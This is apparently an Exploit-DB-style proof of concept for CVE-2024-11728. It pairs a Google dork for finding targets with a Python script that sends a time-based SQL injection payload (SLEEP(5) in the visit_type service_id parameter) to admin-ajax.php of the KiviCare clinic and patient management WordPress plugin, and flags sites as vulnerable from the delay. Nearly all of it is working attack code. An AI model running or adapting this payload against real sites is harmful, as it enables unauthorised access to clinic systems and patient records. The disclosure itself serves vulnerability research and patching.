# Exploit Title: KiviCare Clinic & Patient Management System (EHR) 3.6.4 - Unauthenticated SQL Injection SQL Injection # Google Dork: inurl:"/wp-content/plugins/kivicare-clinic-management-system/ # Date: 11/12/2024 # Exploit Author: Samet "samogod" Gözet # Vendor Homepage: wordpress.org # Software Link: https://wordpress.org/plugins/kivicare-clinic-management-system/ # Version: < 3.6.5 # Tested on: Ubuntu 22.04 # CVE : CVE-2024-11728 #!/usr/bin/env python3 """ CVE-2024-11728 - KiviCare WordPress Plugin Unauthenticated SQL Injection PoC Author: samogod.samet.g Description: Proof of Concept for Unauthenticated SQL Injection vulnerability in KiviCare WordPress Plugin <= 3.6.4. The vulnerability exists in the tax_calculated_data AJAX action where the visit_type[service_id] parameter is insufficiently escaped, allowing SQL injection attacks. Usage: python3 CVE-2024-11728.py -u [-t ] [-v] """ import argparse import requests import sys import time from urllib3.exceptions import InsecureRequestWarning # Disable SSL warnings requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) class KiviCareExploit: def __init__(self, url, timeout=10, verbose=False): self.url = url.rstrip('/') self.timeout = timeout self.verbose = verbose self.target = f"{self.url}/wp-admin/admin-ajax.php" self.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': '*/*' } def log(self, message, level="info"): """Custom logging function""" colors = { "info": "\033[94m[*]", "success": "\033[92m[+]", "error": "\033[91m[-]", "warning": "\033[93m[!]" } print(f"{colors.get(level, '[*]')} {message}\033[0m") def verify_vulnerability(self): """Verify if the target is vulnerable using a time-based SQL injection""" self.log("Testing vulnerability with time-based SQL injection...") data = { 'action': 'ajax_post', 'route_name': 'tax_calculated_data', 'clinic_id[id]': '1', 'doctor_id[id]': '1', 'visit_type[0][service_id]': "123) AND (SELECT * FROM (SELECT(SLEEP(5)))alias) AND (1=1", '_ajax_nonce': '5d77fc94cf' # You need to update this nonce value } try: normal_data = { 'action': 'ajax_post', 'route_name': 'tax_calculated_data', 'clinic_id[id]': '1', 'doctor_id[id]': '1', 'visit_type[0][service_id]': "1", '_ajax_nonce': '5d77fc94cf' # You need to update this nonce value } start_time = time.time() normal_response = requests.post( self.target, data=normal_data, headers=self.headers, verify=False, timeout=self.timeout ) normal_time = time.time() - start_time if self.verbose: self.log(f"Normal request time: {normal_time:.2f} seconds", "info") self.log(f"Normal response: {normal_response.text}", "info") start_time = time.time() try: response = requests.post( self.target, data=data, headers=self.headers, verify=False, timeout=self.timeout ) elapsed_time = time.time() - start_time if self.verbose: self.log(f"Injection request time: {elapsed_time:.2f} seconds", "info") self.log(f"Request data: {data}", "info") if elapsed_time >= 4.5: self.log("Target appears to be vulnerable!", "success") return True else: self.log("Target does not appear to be vulnerable.", "warning") return False except requests.exceptions.Timeout: self.log("Request timed out - target is vulnerable!", "success") return True except requests.exceptions.RequestException as e: self.log(f"Error during vulnerability check: {str(e)}", "error") return False def main(): parser = argparse.ArgumentParser(description='KiviCare WordPress Plugin Unauthenticated SQL Injection PoC (CVE-2024-11728)') parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://example.com)') parser.add_argument('-t', '--timeout', type=int, default=10, help='Request timeout in seconds') parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output') args = parser.parse_args() print(""" CVE-2024-11728 - KiviCare WordPress Plugin Unauthenticated SQL Injection Author: samogod.samet.g """) exploit = KiviCareExploit(args.url, args.timeout, args.verbose) exploit.verify_vulnerability() if __name__ == '__main__': main()